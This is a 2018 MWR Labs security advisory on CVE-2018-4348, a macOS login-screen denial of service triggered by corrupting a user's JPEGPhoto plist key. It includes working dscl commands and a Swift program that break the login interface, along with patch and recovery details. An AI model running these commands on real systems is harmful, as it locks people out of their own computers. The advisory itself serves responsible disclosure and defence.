MWR LABS
Security Advisory

macOS User Interface Denial of Service

2018 October 31

Software	macOS
Affected Versions	10.13.6, 10.13.5, 10.12.6 Security Update 2018-004, previous versions may be affected
CVE Reference	CVE-2018-4348
Author	Ken Gannon, Christian Demko
Severity	Low
Vendor	Apple
Vendor Response	Update to macOS Mojave 10.14, macOS High Sierra 10.13.6 Security Update 2018-001, macOS Sierra 10.12.6 Security Update 2018-005

Description:

Various versions of macOS are vulnerable to a Denial of Service attack via the login user interface. A malicious application or an attacker with authenticated command line access to the device can deny the user's ability to login after the user logs out or reboots the computer.

Details:

macOS stores information about local users in the folder "/var/db/dslocal/nodes/Default/users/". Each user is assigned a .plist file which contains configuration details about the specific user. For example, if a user "MWRUser" were to exist, then the .plist file "/var/db/dslocal/nodes/Default/users/MWRUser.plist" exists as well.

Plist files can contain various types of data, including strings and binary data. The data is provided by several "keys" within a .plist configuration file. Two of these keys are "JPEGPhoto" and "Picture", which manage the user's profile picture.

It was found that if the "JPEGphoto" key did not contain binary data, then the macOS operating system would crash while trying to render a profile picture for the user. This would cause the operating system to fail to load the macOS login screen, thus denying the user the ability to log into the computer via the user interface.

Impact:

Users of the targeted macOS system would not be able to log into their computer via the user interface.

Proof Of Concept:

The following terminal commands could be ran by any user or application to replicate this issue. It should be noted that low level users can only modify specific data about their own user account:

```
user@macOS$ /usr/bin/dscl . delete /users/<username> jpegphoto
user@macOS$ /usr/bin/dscl . append /users/<username> jpegphoto randomcharacters
```

After logging out or restarting the macOS operating system, the user would be unable to log into the macOS operating system.

MWR created the following Swift code that could be used by any application to replicate this issue:

```
import Foundation

@discardableResult
func shell(_ args: String...) -> Int32 {
    let task = Process()
    task.launchPath = "/usr/bin/env"
    task.arguments = args
    task.launch()
    task.waitUntilExit()
    return task.terminationStatus
}

var username = NSUserName()
var dscl_user = "/Users/" + username

shell("/usr/bin/dscl", ".", "delete", dscl_user, "JPEGPhoto")
shell("/usr/bin/dscl", ".", "append", dscl_user, "JPEGPhoto", "mwrinfosecurity")
```

Solution:

Apple has released the following updates which are not vulnerable to this issue:

- macOS Mojave 10.14
- macOS High Sierra 10.13.6 Security Update 2018-001
- macOS Sierra 10.12.6 Security Update 2018-005

Users should update their computers so that they are immune to this attack.

Alternatively, if this attack were to be used on a vulnerable macOS computer, a user can boot their computer into recovery mode, open a terminal window and run the following command:

```
$ /usr/libexec/Plistbuddy -c "Delete jpegphoto" /Volumes/<mounted macOS
system>/var/db/dslocal/nodes/Default/users/<username>.plist
```

Detailed Timeline

Date	Summary
2018 July 10	Submitted vulnerability details via Apple's security disclosure email
2018 July 11	Apple acknowledged the issue
2018 August 8	MWR found that the vulnerability was patched in macOS Mojave Beta
2018 September 12	MWR requested to disclose this issue on 2018 September 24, the same day that macOS Mojave would be released
2018 September 14	Apple requested that this disclosure be postponed until 2018 November 1
2018 September 24	macOS Mojave released by Apple
2018 October 19	CVE assigned and Apple disclosed their intent to release security updates for Sierra and High Sierra. MWR agreed to Apple's request to not disclose this issue until the previously mentioned security updates are released.
2018 October 30	macOS High Sierra Security Update 2018-001 and macOS Sierra Security Update 2018-005 released by Apple
2018 November 2	Advisory Published